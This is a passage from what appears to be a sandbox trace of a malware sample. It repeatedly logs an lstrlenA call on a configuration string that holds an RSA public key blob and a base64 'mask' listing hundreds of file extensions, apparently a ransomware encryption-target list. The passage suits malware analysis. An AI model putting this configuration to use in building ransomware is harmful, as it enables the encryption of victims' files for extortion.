VnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA 